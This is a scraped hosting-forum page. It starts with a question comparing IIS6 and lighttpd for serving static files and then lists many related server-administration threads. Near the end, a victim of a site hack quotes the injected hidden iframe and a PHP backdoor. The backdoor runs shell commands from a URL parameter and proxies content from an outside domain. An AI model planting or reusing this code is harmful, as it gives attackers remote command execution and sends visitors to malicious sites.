Static File Serving - Performance
I'm planning to setup a server ONLY for hosting of static binary files varying from few KB to few MB in size.
I've seen some of the litespeedtech performance benchmarks, which you can find here: [url]
From the "small static file" benchmark chart, i can see that IIS6 beats lighttpd in this test.
So i'm wondering does the IIS6 really have better performance at file hosting than lighttpd.
Actually it does not matter which operating system i will be using at this server, since i will use it only for file serving. With lots of concurrent connections. Possibly thousands of connections.
I need some feedbacks on this, so i can decide, IIS or lighttpd.
Few more bucks for win2k3 won't be an issue here, if it's performance is better than lighttpd for this kind of use.
View Complete Thread with Replies
Sponsored Links:
Related Forum Messages:
10 Second Lag Serving Static HTML
this isn't my server, so I don't have a lot of information about it, other than it's a Linux/Apache Dedicated server at EV1. (cPanel/WHM) There are other sites on the server, and they are running fine. One site has a terrible lag. It takes about 10 seconds to serve up a static HTML file.. Now, it's not like the server is slow. It's like this: You request a small HTML file. The site sits and thinks about it for about 10 seconds, and then after that everything processes quickly. The forum on the site is the same way. Everything you click on works fine and loads quickly after that initial delay passes. Is there a common configuration problem that might be causing this? If you want to see this phenomenon, here are a few test files: [url] [url] [url] [url]
View Replies!
View Related
Problem Serving Gzipped Static Content
I'm trying to serve as much gzipped content as possible on my web site. I will gzip dynamic pages on the fly using PHP, and I plan to gzip static content just one time, not to use much CPU, and serve css.gz, .js.gz files, etc... So, I uploaded a test.html file and a .css file that changes the color of the text to red. I gzipped the css file: %gzip style.css I also uploaded an .htaccess file with this content: RewriteEngine on RewriteBase /gzip/ RewriteCond %{HTTP_ACCEPT_ENCODING} gzip RewriteRule ^(([^.]+.)+)css$ /$1css.gz For now I'm not going to include any gunzipped style sheet, just to make sure my browser picks the gzipped style sheet. I also uploaded a phpinfo.php file to make sure I have mod_gzip. So, here's the list of files I have: - .htaccess - style.css.gz - test.html - phpinfo.php But when I open the test.html file: [url] the style sheet isn't applied. If I upload a regular style.css file, it works fine. It seems the Rewrite rules aren't taken into account. Do you know how I could server the gzipped style sheet instead?
View Replies!
View Related
How To Tweak Linux For File Serving
i have few servers that just serve files (1MB-100MB) Suse Linux on all the servers have minimal apps installed and i already got a llarge performance increase by dumping apache now im look at tweaking at the OS level any settings in Linux itself to speed up sending files down the pipe? net.ipv4.tcp... in /etc/sysctl.conf?
View Replies!
View Related
What Type Of Server And Os, Etc For Just File Serving- Small Files Like Under 10kb
I have a website that just serves small files, under 10kb most of them. I just need a server that lets me ftp the file to it, set up subdomains and domains for one website. Don't need to manage mysql or anything. Not even php. Just serve files. A good fast OS? Something like lighttpd? Ioono? I'm currently doing 600gb of bandwidth per month. I'm expecting to do about 1000gb by the end of the year. Would a small server like a pentium 4 be able to handle just serving files?
View Replies!
View Related
Static File Hosting
I currently have an existing web hosting package with a web host. However, I need to supplement that with a file hosting service for my users. I'm estimating that I will need about 2Gb disk space, and approximately 30~40Gb of traffic monthly. This will just be plain static file hosting. I don't need any scripts, databases, etc.
View Replies!
View Related
DDOS Deflate On A Static Video File Server
I am using DDOS Deflate [url] I have a problem with NO_OF_CONNECTIONS. The default is 150 For example, if a website has 200 thumbnails in one page, then the user will get banned. But in my case, each time a user have only 1 connection(He only access 1 flv file each time). So, is that safe for me to decrease the number to 20. I can see a lot of IP having more than 80 connections, which I think they are ddos attack.
View Replies!
View Related
JaguarPC Performance VS. LiquidWeb Performance
I am using dreamhost host 3 of my web sites and 1 blog. Dreamhost is great, offers alot space and bandwidth. but I think they are oversellling their space, sometimes it gets really slow. (overselling ? ok, I dont really know, but sometimes its really slow, and most my asian readers said need to refresh to load the page. I am wondering if theres a way to check if they are overselling or not.) I am thinking about buying vps, even tho, I still got 5 month left with dreamhost. I found 2 vps companies are highly recommanded on this forum, JaguarPC and LiquidWeb. theres already a post compared both companies in terms of price and service. I say I will pick JagarPc, cuz, its basic plan just 20 USD, and htey got promotion now, its even cheaper. and basic Liquidweb vps plan is 60 bucks. I am wondering why Jagarpc is so cheap , are they overselling? how can we check if they are overselling. I found a few posts saying how good jaguarPc is. and they are not overselling, but those members just signed up this month, and only have 1-3 posts. I cannot really trust those new members. Can someone share their experience with JaguarPC? compare JaguarPc performance and liquidweb performance. antoher question is switch from dreamhost to JaguarPC basic vPS plan, will performance gets better? last question: VPS account allows 3 IP, 3ip = 3 domains? if not, how many domains can I have?
View Replies!
View Related
IIS Just Stopped Serving..
I have been hosting a site for the past number of weeks on IIS on Server 2003..I have a no-ip a/c which is working fine along with port forwarding on my router.. The other day I restarted my server for something but now I cant seem to access my site from across the internet and according down for everyone or just me (website) it is down. I can, however, access the site using domain name from within my lan. I'm not too hot on server 2003 or IIS. What can I do to debug/diagnose the problem?
View Replies!
View Related
Servint - Serving Porn On My Sites
What is up with servint? I have domains and a vps through them. The vps is now serving up porn on all the sites. When I call servint they say I don't own the name but a whois shows i DO INDEED own the name for another year and it is registered to me and they are the registrar!!! The portal user/pass suddenly stopped working so I can't even put in a support ticket All I get is a message machine ... does anyone know if servint staff ever come on this board. It has probably been hacked but it is pretty disturbing when they say I don't own the domain but it is CLEAR THAT I do own it.
View Replies!
View Related
Speed Up Serving Large Files
I'm working on a web site which will basically be a flash games portal. I have a dedicated server running Apache 2 on a 100mbit dedicated line but my download speed for large files (flash files of over 5mbs) is really slow. I am thinking this is because of Apache but I don't know much about this. I've read that I should change for a lighter http server for serving static files. The way my server is set up is I have 2 virtual machines running, one doing the PHP processing and the other serving static files, both running Apache, so if I have to change HTTP server for the static files it would be very easy. Although I am not sure if this is necessary or if I can tune Apache to push files faster than this.
View Replies!
View Related
Serving Data From 2 Hard Disks
I have a server with 2 hard drives, say drive A and drive B. Right now all my files, database and data is on drive A, and drive B is empty. Since I have another drive available, I want to split the load between the two drives. I'm ok with having the web pages and the database on one drive. I mostly want to just have the data (I have about 500GB of data) split between the two drives. Note that I want to avoid duplicating the data. I want to have each file on either drive A XOR drive B. Should I map a separate subdomain to drive B and then use that subdomain to serve the half of the data thats there? Is there something I can do with hard/soft links on the server so that even though the data is on 2 drives, users still use the same url to access data on either drive? Any other options?
View Replies!
View Related
Media Serving And Cache Daemon
what I want to do, have a "node" somewhere serve media (static) files from a central server, but cache the static files the first time they are hit, so subsequent requests to the "node" don't require getting the file from the central server. Is there readily available solution to this?
View Replies!
View Related
Apache Serving Blank Pages
I am having this issue with a new box where Apache at random serves blank pages and won't serve anything but until it's restarted. I see no errors in /var/log/messages either to show why this is happening. It's not all pages either just several various ones. I know it's not a programming issue either because the only thing the server is running is one instance of vBulletin. I look at top during this and CPU and RAM usage are very low. The only fix to get Apache to serve the pages is to restart it. Anyone have any clues on what it could be? I set my php.ini memory limit to a gig (I have 16 gigs in the sever)
View Replies!
View Related
Serving & Playing Breeze FIles
Having trouble hosting Macromedia Breeze files on a brand new dedicated 2003 NT box. Anything I need to adjust? When someone visits the URL, it loads the presentation main screen, but it's supposed to auto-play several movies and it won't. It works fine locally and on 2 unix servers I tested it on, but not the new NT box. The weird thing is, if I remote desktop to that server, I can't play that presentation locally or server thru the linux boxes. I figured it was an extensions thing, but like I said the intro still does appear, and if I go to Adobe.com and play a new "Adobe Presenter" presentation - it works fine.
View Replies!
View Related
Preferred Operating System For Web Serving
I have been online since 95 and I've got a lot of information I could help others with regarding web development and interface design. One thing I'm terrible at is System Administration, but I'm getting better and my first step is to pick a reliable operating system for both the webservers and the database servers. Would anyone be willing to answer the following questions or point me to a thread that already discusses these? A little background, our site has 200k members, 30k active and is growing by about 5k a week. We still run MySQL 4.0.27 on the DB servers and they are running FC2. The webservers are Apache 1.3.37 and PHP 4.4.2 running FC2 and FC4 as well. My questions 1. What OS would you prefer to upgrade to for the web servers? and a "few" reasons why? 2. What OS would you prefer to upgrade to for the database servers? and a "few" reasons why?
View Replies!
View Related
An Otherwise Great Performing Server Now Delays Prior To Serving PHP/mysql
One of my dedicateds (Fedora 7 / apache 1.39 / php5 mysql5) has been running flawlessly but now has a strange ~4-5 second delay when serving up PHP/mysql pages such as Wordpress. I say delay because it appears to think about it for several seconds, then when the page finally begins the refresh process, everything serves up lightning fast. Latency is low, direct file downloads are faster than ever. ModSecurity is running, and accounts for about 1 second of that delay (tested with it on and off), but the other 3-4 seconds is a mystery.
View Replies!
View Related
Static IP: Best Service And How To Use
My ISP here in the UK does not provide static ip addresses. I'd like to be able to set my server to only accept root access attempts from a set IP. I am aware of how to set this up on my server, but not on my own machine. I'd appreciate if anyone recommend the best service to use when seeking a static IP address and also point me in the right direction of documentation that explains how to utilise this IP (connect through it so when connecting to my server it sees the static IP and not my dynamic ISP IP). I've had a search on WHT and Google but most of the documentation I've encountered is for people who want to run a web server from their home machine and so want a static IP for incoming connections. I am using a windows machine (xp pro).
View Replies!
View Related
.ASP (STATIC)
Another similar kind of question I want to run .asp pages on a windows server where i am currently running .HTML files (STATIC without any script or database). I want convert those .html pages to .asp (without any scripts). So WHAT DO YOU THINK, that .html (static) should work exactly same like .asp (Static) ? Suppose .html pages DO NOT CREATE any issue with IIS load , so using same (basic html code) in .asp would create any issue with APPLICATION POOL (IIS)?
View Replies!
View Related
Forward Domain To Static IP
i have a domain hosted at eNom which i would like to point to my FTP server which is running on my box at home. I have a static IP, and BulletProof FTP server installed. Now im just unclear how i can have www.mydomain.com point to 212.12.34.56:21.
View Replies!
View Related
Need To Create A Static Route
Recently two servers of mine have stopped communicating with each other and I've been told to create a static route between the two, I am using CentOS 4.4 and not sure what the exact syntax would be I also have the gateway IP which would be needed.
View Replies!
View Related
Static Routes Questions
I have a small network at my colo provider. Colo Provider | My HP 2650 | | server1 serverN I want to setup static routes on my servers so that my colo provider won't bill me for traffic among my servers. I use FreeBSD 6 on my servers. I read the FreeBSD handbook on this and it looks like i should do this: route add -net 0.0.0/24 0.0.0.3 where 0.0.0/24 is the C class I have from my provider and 0.0.0.3 is the IP address of my server (one of them/any of them). However, this route appears to already exist as i get this error when running that route command: route: writing to routing socket: File exists add net 0.0.0: gateway 0.0.0.3: route already in table Do I need to use a non-routeable ip block (eg 192.168.x.x) for this? Can I use "real"/routeable ips? Does FreeBSD take care of this for me automatically?
View Replies!
View Related
Static HTML Resource Usage
I've been running website for several years, however, there's one thing that I've never quite figured, most likely because I haven't gone over to dedicated/vps yet. How much memory would a static 10kb HTML use or for that matter a PHP page (static)? I know it's quite a broad question, but I'm asking this as I might start a project and this one page may receive many hits. Oh and, would the memory usage go up if I have embedded objects from an outside source (e.g. embedded Youtube videos)?
View Replies!
View Related
Static Server + Forum Cluster
my current servers are part of this mess with Alphared: [url] what I'm looking for: static content main server: average cpu, average ram 15-20gb data tops, but could use a fast drive need about 6tb/m of higher quality bandwidth 2 machine cluster for forums only thing on this will be vBulletin forums. current database is about 6gb (~7 million posts) averaging about 800 members active per 15 mins this isn't for a business, so it all comes out of my pocket. however, after the $#@! with Alphared I do recognize the importance of a good host and I am willing to put money toward that as needed. however, my goal is in the $600-$800/m range for everything. is that price range doable? if not, what is a reasonable price for what I'm asking? and can anyone recommend reliable hosts (especially one that can correctly setup the cluster for the forums).
View Replies!
View Related
Apache: Need Thoughts On Offloading Static Content
I'm looking for a way to get a little more mileage out of Apache + PHP environment without losing Apache capabilities. In shared hosting environments, losing features such as .htaccess and a real mod_rewrite are not even on the table. I'm also not willing to accept the performance hit and connection issues that are inherent with FastCGI, so that means mod_php. In this particular situation, there are two busy sites, which are the problem. These are a few ideas I've been thinking about. 1. mod_proxy + nginx: mod_proxy sends static content requests to nginx. This requires two sets of vhost files to be maintained. 2. mod_cache: Caching common static content such as page graphics .css, .js, etc. 3. squid If you've been down 2 or more of these roads, I could benefit from your experience.
View Replies!
View Related
Totally Static HTML Content Hosting
I'm configuring an VPS that's going to serve all static stuff and absolutely no dynamic scripts at all. What could be the bottle necks with all these static content websites? Can a 256MB VPS handle a static website receiving millions of page views a month?
View Replies!
View Related
Compiling Static Standalone PHP Binary
I am using the following configure command in hope to generate a PHP binary which is totally independent, standalone and can be moved to other systems without caring for dependencies: ./configure --enable-fastcgi --enable-force-cgi-redirect --enable-discard-path --prefix=/server/php --exec-prefix=/server/php --with-config-file-path=/server/php --disable-all --enable-shared=no --enable-static=yes --enable-session --with-gd --with-zlib-dir --with-freetype-dir --enable-sockets But when I try to run the generated binary on another system which doesn't have freetype etc installed, I get the following error: error while loading shared libraries: libfreetype.so.6
View Replies!
View Related
Local Connetion With Static IP's What Is The Gateway Address
we have two servers; webserver and database server connected directly to each other via a standard cat6 cross-over cable. I am setting up their static IP's and have a few questions. Both are running windows 2003. I went and setup the static ip's as follows: [webserver] IP: 192.168.200.1 SUBNET MASK: 255.255.255.0 GATEWAY: {blank} DNS1: {blank} DNS2: {blank} [database server] IP: 192.168.200.2 SUBNET MASK: 255.255.255.0 GATEWAY: {blank} DNS1: {blank} DNS2: {blank} So DNS being blank is fine since there is no need for DNS, all communication is local (no internet). But should the gateway address be blank?
View Replies!
View Related
Change IP Address DHCP To Static Using Xen VPS
I'm using XEN to setup my VPS. The installation have no problem for the first two server. On the 3rd server, I install using DHCP IP and it's ok.The problem is when I change the DHCP IP to static IP . Using Centos 5.2, I'm using vi to edit /etc/sysconfig/network-scripts/ifcfg-eth0 and restart the network service network restart, the IP change, but outside or other static IP VPS network can't ping to this server. I've tried to change the /etc/xen/the-host-config to include the IP . the results is still the same. Is there some script or way I can use to bridge this new 3rd server to the Xen host ant other network? * I've restart the Xen server.
View Replies!
View Related
Nginx As Apache Proxy For Static Content -- Configuration
I am a non-tech person trying to configure Nginx to serve static content (apache will remain on port 80 for the dynamic stuff). Nginx is already installed, what I need is a workable configuration file for nginx so that it serves all static stuff (images and a few folders with static html) and instructions in how to create it. The server is running DirectAdmin panel, Apache 2.24, PHP 5.23 and XCache 1.2.
View Replies!
View Related
Need Dedicated Servers (Download Static Content) 1and1, GoDaddy, ...
Ok, I'm a few lost about which dedicated server to choose. First, I need 2 dedicated servers. These servers are only to download static content. Downloadable files are small (50-400k). I'll use lightweight server. If there are too many user, I'll buy another server. I search for excellent uptime, US server and fast download server. I've visited some popular web hosting but if you know better, lets me know 1and1 Price (Root Server): $99 CPU: Single Core AMD Athlon 64 3500+ 2.2 GHz RAM: 1 GB HD: 2 x 160 GB Bandwidth: 2,000 GB Bandwidth Cap: 100 Mbps GoDaddy Price: $68 CPU: Celeron 2.0GHz RAM: 1GB HD: 1 x 120GB Bandwidth: 500GB Bandwidth Cap: 10-20 Mbps Also, the price between 1and1 and GoDaddy is $31 but 1and1 give more on cpu, hd, bandwidth(4x), connection... One of my question is 1and1 offers a average price for dedicated server or GoDaddy spends a part of money with Amanda, Candice and Danica? Do you have some suggestion for dedicated server or web hosting?
View Replies!
View Related
Multiple Outside Static IP Addresses To Host Web And Mail Server?
Q: Does one need to have more than one ISP (outside) static IP address to host its own mail and web server? Or will one static IP with port forwarding to two different machines (one mail and other web server) be good enough? What would happen if one wants to host two websites on one machine (web server) and have webmail to access emails (presumably via port 80) on another (mail server)? My only concern is I guess my ASA 5505 won't support more than one assigned static IP or am I wrong?
View Replies!
View Related
Mirror/Mirroring Site Hosting/aka: Impressed At Ability Of Cheap Hardware To Serve Static HTML
We recently began to mirror a large number of open source projects with a dedicated mirror server on our network and I was surprised not only with how popular the mirror server has become, is, but also of the ability of the hardware we're using to keep up with the load. At an given time, the mirror seems to be pushing at least 50 Megabits of trafficthe server is also an IRC server (irc.igsobe.com) for customers and internal staff communications. The hardware is a low end Dell Pentium 4 @ 2.66 GHZ server, running with 512MB of RAM and a 400 GB ATA hard drive. CentOS v5.3 is the operating system. If you're interested, you can view the HTML logfile analysis here but that doesn't tell the full story as FTP users make up a good portion of the traffic. We've received over a quarter million hits in the first few days of November alone. 18:14:15 up 65 days, 9:04, 5 users, load average: 0.31, 0.69, 0.56 The only change that I made to the default configuration was lowering the maximum number of Apache servers to 128. Just thought I'd share this information as I wouldn't have thought a server with such a small amount of RAM would be able to serve up so much data, even though we are talking strictly static HTML files. I'll definitely keep this in mind when clients ask me for those "what type of dedicated server should I use for XXX" type discussions that are had all too often with clients.
View Replies!
View Related
Ffmpeg :: Cannot Open Shared Object File: No Such File Or Directory In Unknown On Line 0
Rapidly growing error logs showing the same message $ug-non-zts-20020429/ffmpeg.so' - /usr/local/lib/php/extensions/no-debug-non-zts-20020429//usr/local/lib/php/extensions/no-debug-non-zts-20020429/ffmpeg.so: cannot open shared object file: No such file or directory in Unknown on line 0 root@server [~]# ls /usr/local/lib/php/extensions/no-debug-non-zts-20020429 ./ ../ eaccelerator.so* root@server [~]# ls /usr/local/lib/php/extensions/no-debug-non-zts-20020429 ./ ../ eaccelerator.so* Using cpanel 11 / centos 4
View Replies!
View Related
Links Files In Linux (file.txt For File.php)
Today I found some cstomer on the servers make a link for named it file.txt and link it to other customer php file. so that customer have the ability to show the other custoer file content when visiting the url because it is a text wile originally it is a php file. the php file was a config file, so now he know the database password , and because he is in the same server he can use that databse. the question , how to avoide this prolem in the future? notes , the SuExec is rnning and the open_basedir protection is enabled, but the problem still exists.
View Replies!
View Related
Static Routes With Linux & Shorewall (site To Site VPN Virtual Private Network)
Attached is a (badly) drawn diagram of two sites, connected by a vpn. The site to the left, is network 10.0.0.0/24 which runs a linux server as the router for the network. The site to the right, is network 10.1.0.0/24 which runs a windows 2003 server as the router for the network. Now, my problem is, the clients behind the windows 2003 server can ping any machine on the first network because i setup a static route to route all traffic to 10.0.0.0/24 over the vpn interface. now, my problem is, only the linux server can ping any machine on the windows 2003 network, any client behind the linux server cant seem to route over the interface. I have the following route on the linux server: .....
View Replies!
View Related
Using Php To "create" Balanced Static Hosting
My host [in USA] that I only use for php/mysql points to my static content CentOS server [in Japan] in my house connected to my CATV. At least for testing (outside my house) I can't notice any bad latency since my USA host just serves up small HTML code dynamically and the static content (up to 100k-500k per file) is already available inside Japan. I want to keep (and scale up, if needed) my php/mysql in USA due to language and other issues so I'm hoping (?) as the number of users goes up (or any other issues I can't think of now) latency does not become a problem just for the html. Any comment on that? My next step to "create" balanced static hosting in Japan is to get two different VPS accounts here in Japan (on two different physical servers) and use php to randomly select which VPS will provide the static content when a user logs in. PHP will also test to make sure the static server is active. If it is down the code will direct to the other server. If my project grows I will - on the Japan side - get more VPSs or even multiple dedicated servers and use the php to manage this "balanced" system like I described.
View Replies!
View Related
Static Index.html Pages Hacked, Also Index Files
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time. I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking). Going back on track, all files named "%index%" were hacked. -I found a index.txt file with links to obscure sites. The code was written at bottom of the all index.html files: iframe code Code: ><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ --> Also a line.php with the following code PHP Code: <?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0 ");fputs($socket, "Referer: http://$refer ");fputs($socket, "Host: $server ");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) ");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?> So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View Replies!
View Related
RAID 5/6 Performance
Im planning on buying a NAS from my provider for using as a backend to my VPSes (around 15). The plan is to put the server images on the NAS so the VPSes can be moved without interruption between different nodes. The server i have looked on so far is the following: CPU: Xeon 3330 2,67Ghz RAM: 4GB DDR2 HDD: 8*Barracuda 7200.12 1000GB, 7200rpm, 32MB, SATA-II RAID: 3Ware 9650SE Network: Intel 2*1Gbit Would it be enough to fill the Gbit-line? The budget is pretty tight so if it's possible to do this with SATA drives it would be great, otherwise it could be a possibilty to go down in diskspace and switch the SATA drives to SCSI/SAS drives.
View Replies!
View Related
Scaling Performance
Lets assume that we (me and the people I'm working with) were to launch a really powerful website. Then all of a sudden there is more demand for the website than the backend infrastructure can handle. What do we do? - 1000 users (ok so one powerful server should be enough). - 2000 users (lets setup an additional server to work as the HTTP while the powerful server acts as the database only). - 3000 users (lets eliminate all the commercial linux programs and install a fresh version of linux on both boxes and compile only the programs we need). - 5000 (lets setup another server that handles the sessions). - 6000 (lets setup a static-only server to deliver the non-dynamic content). - 7000 (lets do some caching ... ugh maybe it won't be enough). Any greater and what? We've run out of ideas on how to separate the code logic and how to optimize every byte of data on the website! What do we do? We can buy more servers, but how do we balance the load? This is where I'm stuck at. In the past I've separated the load in a modular sense (one server does this and one server does that), but eventually I'll come across a wall. how clustering works? What I wanna know is how is the information, whether it be the server-side code or the static information, is shared across machines. Is it worth it anymore to learn these things, or is it worth it just to host with a scalable hosting solution like AWS?
View Replies!
View Related
Disk IO Performance
From the Disk I/O performance is it better 1) to have main PHP file with 10 includes 2) all 11 files as one file 3) the difference is not big Suppose a) a low traffic site b) a high traffice site
View Replies!
View Related
|